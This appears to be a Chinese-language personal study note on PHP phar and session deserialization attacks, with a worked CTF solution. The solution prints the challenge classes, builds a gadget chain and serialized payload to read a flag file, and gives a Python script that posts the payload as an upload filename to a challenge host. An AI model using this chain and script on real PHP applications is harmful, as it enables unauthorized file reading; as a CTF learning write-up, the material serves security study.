【心得】PHP反序列化高级利用(phar|session)个人笔记

目录

①phar反序列化

反序列化>session反序列化


①phar反序列化

phar 认为是java的jar包   calc.exe

phar能干什么

多个php合并为独立压缩包,不解压就能执行里面的php文件,支持web服务器和命令行

phar协议

phar://xxx.phar
$phar->setmetadata($h);
metaData可以存放一个类实例,会将这个类实例以序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
总结:
1.生成phar包时,可以往metaData里面放对象
2.生成后,对象会自动序列化保存到phar包中
3.使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法

哪里使用的多

如果有上传点,上传文件的前半部分可控,后缀黑名单,不能上传危险的后缀为php phps phtml ini 没有禁止上传phar文件
能够上传phar文件,找到大量使用的file_exists等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包
就能自动进行反序列化

条件:
1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可利用的恶意类


可以触发phar反序列化的函数
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() 
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() 
filesize() is_dir() scandir() rmdir() highlight_file()

反序列化>session反序列化

在 PHP 中,PHP_SESSION_UPLOAD_PROGRESS是一个内置的会话变量,用于跟踪文件上传的进度。当使用 PHP 通过 HTTP POST 方法上传文件时,PHP 将自动创建并初始化这个变量。它的值表示上传文件的字节数。这个值可能会在整个上传过程中不断更新,以反映上传的实时进度。在一些情况下,可以使用这个变量来实现对上传进度的监控和处理。

php的session时存放在文件中的 默认位置时/tmp/sess_PHPSESSID
session 可以放字符串,数字,也可以放对象

1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2  session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

php序列化处理器方式
xxx|O:4:"user":2{s:8"username";N;s:8:"password";N;}
php_serialize序列化处理器方式
a:1:{s:3:"xxx";O:4:"user":2:{s:8"username";N;s:8:"password";N;}}

例题:web63

?phpinfo=看一眼phpinfo,应证了ini_set("session.serialize_handler", "php");

即用'|'识别,竖线以左代表session的key(键),竖线以右代表反序列化的字符串

?source=看一眼class.php 

贴出源码

<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }


    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
        public $zodiac;
         public function __invoke()
        {
            echo "happy ".$this->zodiac." year!";

        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString()
        {
                $this->show();

        }
        public function __set($key,$value)#3
        {
            $this->$key = $value;
        }

        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }

    }
?>

先搓个链子

Happy::__destruct->_New_::__get->_New_::__toString->Year::__toString->Year::show

 构造

$h=new Happy();
$n=new _New_();
$n2=new _New_();
$y=new Year();
$n2->daniu=$y;
$n2->robot='zodiac';
$n2->notrobot='/f1ag';
$n->daniu=$n2;
$h->happy=$n;

echo serialize($h);

//O:5:"Happy":1:{s:5:"happy";O:5:"_New_":4:{s:5:"daniu";O:5:"_New_":4:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";s:2:"Hu";}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";s:12:" _New_ _New_";N;}s:5:"robot";s:10:"I'm robot.";s:8:"notrobot";s:16:"I'm not a robot.";s:12:" _New_ _New_";N;}}

因为class.php的类都在初始界面注册,我们通过强制文件上传的形式,把filename存到session中,在session_start()触发反序列化,利用恶意类进行任意文件读取。

写个表单提交脚本

import  requests

p1='''a|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":4:{s:5:\"daniu\";O:5:\"_New_\":4:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";s:2:\"Hu\";}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:5:\"/f1ag\";s:12:\" _New_ _New_\";N;}s:5:\"robot\";s:10:\"I'm robot.\";s:8:\"notrobot\";s:16:\"I'm not a robot.\";s:12:\" _New_ _New_\";N;}}'''
url='http://edb45d1d-7acd-41da-8f1f-00b7b898cc21.challenges.ctfer.com:8080/'
session=requests.session()

file={'file':(p1,'aaa')}

data={"PHP_SESSION_UPLOAD_PROGRESS":123}

cookie={'PHPSESSID':'441a16842171ded17f387411ab56a85f'}

resp=session.post(url=url,data=data,files=file,cookies=cookie,proxies={'http':'127.0.0.1:8080'})
print(resp.text)

 


http://www.niftyadmin.cn/n/5299499.html

相关文章

洗袜子的洗衣机哪款好?十款口碑最好的小型洗衣机分享

随着大家的工作压力越来越大&#xff0c;很多小伙伴工作之后只想躺平&#xff01;但每次洗完澡之后还要清洗一些贴身衣物和很讨厌清洗的袜子&#xff0c;今天我给大家分享十款小型洗衣机&#xff0c;方便各位姐妹们清洗内衣裤也可以清洗袜子&#xff0c;我们一起来看一下吧&…

Iterator(迭代器) 和 list

Iterator&#xff08;迭代器&#xff09; 和 list 文章目录 一、Iterator&#xff08;迭代器&#xff09;二、list 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、Iterator&#xff08;迭代器&#xff09; 对 collection 进行迭代的迭代器。迭代器…

java spring boot 获取resource目录下的文档

主要代码 String filePath"templates/test.xls" ClassPathResource classPathResource new ClassPathResource(filePath); InputStream inputStream classPathResource.getInputStream();目录 主要目录存放再这 代码案例 public void downloadTemplate( HttpS…

【基础】【Python网络爬虫】【12.App抓包】reqable 安装与配置(附大量案例代码)(建议收藏)

Python网络爬虫基础 App抓包1. App爬虫原理2. reqable 的安装与配置reqable 安装教程reqable 的配置 3. 模拟器的安装与配置夜神模拟器的安装夜神模拟器的配置配置代理配置证书 4. 内联调试及注意事项软件启动顺开启抓包功reqable面板功列表部件功能列表数据快捷操作栏 夜神模拟…

mysql5.7 数据库主从同步实现

mysql5.7 数据库主从同步实现&#xff0c;实操环境&#xff1a;linux centos7 一&#xff0c;安装mysql5.7 1 配置MySql5.7的 Yum仓库配置 yum install -y https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm2 安装mysql5.7 yum install -y mysql-c…

JavaScript 优化代码分支,让你的代码更优雅

在JavaScript中&#xff0c;分支通常指的是减少冗余的条件判断和提升代码可读性和执行效率。以下是一些优化方案&#xff1a; 1. 对象字面量或Map对象&#xff1a; 当存在多个if…else if…else语句对应不同条件时&#xff0c;可以考虑使用对象字面量或者Map来代替。例如&…

安卓在SOA中的运用

安卓在运用SOA研发的过程中&#xff0c;会针对实际情况对研发的架构和流程进行优化&#xff0c;通过优化过的架构和实施方案&#xff0c;不仅可以大大提升了整车开发的效率和灵活行以及功能落地的稳定性&#xff0c;同时也增加了系统的向上兼容性。 目前基于车载SOA系统的研发…

【ROS2】MOMO的鱼香ROS2(四)ROS2入门篇——ROS2节点通信之话题与服务

ROS2节点通信之话题与服务点 引言1 理解从通信开始1.1 TCP&#xff08;传输控制协议&#xff09;1.2 UDP&#xff08;用户数据报协议&#xff09;1.3 基于共享内存的IPC方式 2 ROS2话题2.1 ROS2话题指令2.2 话题之RCLPY实现2.2.1 编写发布者2.2 2 编写订阅者2.2.3 运行测试 3 R…